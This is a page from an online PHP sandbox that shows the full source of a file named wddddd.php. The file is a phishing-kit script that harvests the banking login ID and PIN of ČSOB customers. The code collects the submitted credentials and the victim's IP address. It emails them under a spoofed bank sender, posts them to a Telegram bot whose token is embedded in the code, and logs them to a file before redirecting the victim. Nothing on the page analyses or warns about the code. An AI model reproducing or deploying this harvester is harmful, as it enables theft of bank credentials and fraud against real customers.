wddddd - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of wddddd.php

  1. <?php
  2. session_start();
  3. $ip = getenv("REMOTE_ADDR");
  4. $hostname = gethostbyaddr($ip);
  5. $bilsmg  = "IPPID     : ".$_POST['vaspid']."\n";
  6. $bilsmg .= "PIN KÓD : ".$_POST['vaspin']."\n";
  7. $bilsmg .= "--------------------------------------------------------\n";
  8. $bilsmg .= "From : $ip \n";
  9.  
  10. $bilsub = "ČSOB INFO - ".$ip;
  11. $bilhead = "From: ČSOB <[email protected]>";
  12.  
  13. mail("[email protected]", $bilsub, $bilsmg, $bilhead);
  14.  
  15. $botToken = '6127875008:AAEjzMwnrA_k0V2hYph6lc2eFU_WzoWPJyM';
  16. $chatId = '2018591465';
  17. $telegramUrl = "https://api.telegram.org/bot{$botToken}/sendMessage";
  18. $data = [
  19.     'chat_id' => $chatId,
  20.     'text' => utf8_encode($bilsmg) 
  21. ];
  22.  
  23. $ch = curl_init($telegramUrl);
  24. curl_setopt($ch, CURLOPT_POST, true);
  25. curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
  26. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  27. $result = curl_exec($ch);
  28. $curlError = curl_error($ch);
  29. curl_close($ch);
  30.  
  31.  
  32. $logFile = fopen("telegram_log.txt", "a");
  33. fwrite($logFile, "Result: " . $result . "\n");
  34. fwrite($logFile, "cURL Error: " . $curlError . "\n");
  35. fclose($logFile);
  36.  
  37. $f = fopen("../User.txt", 'a');
  38. fwrite($f, $bilsmg);
  39.  
  40. header("location: ./processing/index.html ");
  41. ?>
  42.  
File Description
  • wddddd
  • PHP Code
  • 26 Jan-2024
  • 1.19 Kb
You can Share it: